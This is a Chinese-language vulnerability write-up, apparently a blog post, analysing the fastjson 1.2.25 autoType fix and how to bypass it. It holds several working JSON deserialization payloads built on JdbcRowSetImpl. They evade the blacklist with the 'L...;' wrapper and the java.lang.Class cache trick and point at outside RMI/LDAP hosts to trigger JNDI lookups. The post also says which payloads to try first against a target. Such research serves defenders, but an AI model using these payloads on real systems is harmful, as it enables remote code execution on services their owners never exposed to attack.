在1.2.24漏洞分析中,已经有几条利用链了,把版本切换到1.2.25,运行一下poc
1. 修复分析
poc运行失败了,直接跳转到报错位置分析
1.1 checkAutoType方法
a. 调试发现在parseObject方法中,key=@type进行类加载时,发现多了一个checkAutoType方法
b. 进入ParseConfig.checkAutoType方法,这里判断了autoTypeSupport是否为false,并进入黑名单判断,黑名单中包括了com.sun
所以此时我们的poc在这里就会抛出异常,autoType is not support ...
1.2 autoTypeSupport
实际上,如果autoTypeSupport一直都是false的,程序会直接抛出异常,哪怕是一个普通的类的反序列化
使用正常的一个测试`User`类测试反序列化
### 1.3 开启autoTypeSupport
这里假设,如果是这个版本,开发需要使用`fastjson`去序列化/反序列化对象,那么手动开启了`autoTypeSupport`属性,此时结合`className`过滤L和;的情况,构造`Lcom.sun.rowset.JdbcRowSetImpl;`来绕过黑名单的过滤
1 2 3 4 5
| { "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "rmi://dnslog.cn", "autoCommit": true; }
|
1 2 3 4 5 6 7 8 9
| String poc = "" + "{\n" + " \"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\n" + " \"dataSourceName\": \"rmi://dnslog.cn\",\n" + " \"autoCommit\": true;\n" + "}" + ""; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parse(poc);
|
2. 不开启autoTypeSupport的绕过
2.1 内置的Class类
CheckAutoType中,可以在默认的解析器Map里找到java.lang.Class这个内置类
此时再回到parseObject中,看下java.lang.Class对应的deserializer是什么;
调试看到对应的deserializer是MiscCodec,这和java.net.InetAddress一样
MiscCodec中,当@type对应的是Class类时,返回TypeUtils.loadClass
2.2 Class类通过TypeUtils.loadClass加载类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0) { return null; }
Class<?> clazz = mappings.get(className);
if (clazz != null) { return clazz; }
if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); }
if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); }
try { if (classLoader != null) { clazz = classLoader.loadClass(className); mappings.put(className, clazz);
return clazz; } } catch (Throwable e) { e.printStackTrace(); }
try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) { clazz = contextClassLoader.loadClass(className); mappings.put(className, clazz);
return clazz; } } catch (Throwable e) { }
try { clazz = Class.forName(className); mappings.put(className, clazz);
return clazz; } catch (Throwable e) { }
return clazz; }
|
此处加载了var参数对应的类,并放到了TypeUtils的mappings中,把我们的目标类添加成了一个内置类,且在加载的过程中并没有对黑名单进行过滤!
第二次@type进入checkAutoType,如果没有指定 autoTypeSupport,则通过
1
| TypeUtils.getClassFormMapping("com.sun.rowset.JdbcRowSetImpl")
|
可以直接获取到通过java.lang.Class加载并缓存的com.sun.rowset.JdbcRowSetImpl类
2.3 Poc
2.3.1 JdbcRowSetImpl的两个写法
1 2 3 4 5 6 7 8
| { {"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}:"x", { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1", "autoCommit":true; }:"y" }
|
但是这里需要注意:如果开发设置了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,则会直接进入denyList进行检测,
因此这里需要整理两个Poc进行检测,防止目标开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| ## poc1
{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "rmi://dnslog.cn", "autoCommit": "true"; }
## poc2 这个poc对应着目标开启 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); { {"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}:"x", { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1", "autoCommit": "true"; }:"y" }
## 结合Class的poc也可以自己随意组合,只要保证先使用java.lang.Class加载需要的类即可 ## poc3 { {"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}:{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1", "autoCommit": "true"; } }
## poc4 [ {"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1", "autoCommit": "true"; } ]
|
实际检测利用链时,从poc1、poc3、poc4中选取一个检测一下,如果不行再用poc2检测一下
2.3.2 BCEL利用链
此时BCEL利用链仍然是不能用的,我们尝试先试用java.lang.Class去加载必要的两个类
1 2 3 4 5 6 7 8 9 10
| { [{"@type": "java.lang.Class", "val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"}, {"@type": "java.lang.Class", "val":"com.sun.org.apache.bcel.internal.util.ClassLoader"}]:{ "x":{ "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "BCELPayload" } }: "" }
|
调试发现org.apache.tomcat.dbcp.dbcp.BasicDataSource是可以加载的,但是com.sun.org.apache.bcel.internal.util.ClassLoader由于是字段值,将通过JavaBeanDeserializer去反序列化处理,而在该类中,checkAutoType是传入的expectClass
因此在checkAutoType方法中,会先进入对类名的黑名单判断,导致com.sun.org.apache.bcel.internal.util.ClassLoader匹配黑名单报错
!
那如果将com.sun.org.apache.bcel.internal.util.ClassLoader构造成Lcom.sun.org.apache.bcel.internal.util.ClassLoader;呢,这样黑名单是可以过去的,但是下面有专门针对ClassLoader和DataSource类型进行判断,并抛出异常
所以暂时BCEL只能在1.2.24中使用
3. 总结
通过测试+对比代码
- 手动开启
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ,结合L+类名+;绕过的方式,适用版本 1.2.25-1.2.41,但是这取决于目标环境是否手动开启了AutoTypeSupport
- 通过
java.lang.Class绕过autoTypeSupport,适用版本 <=1.2.472.1 1.2.42的修复
修改fastjson为1.2.42,调试进入checkAutoType方法,可以看到,这里先对Lxxxx;进行过滤,再进行黑名单的判断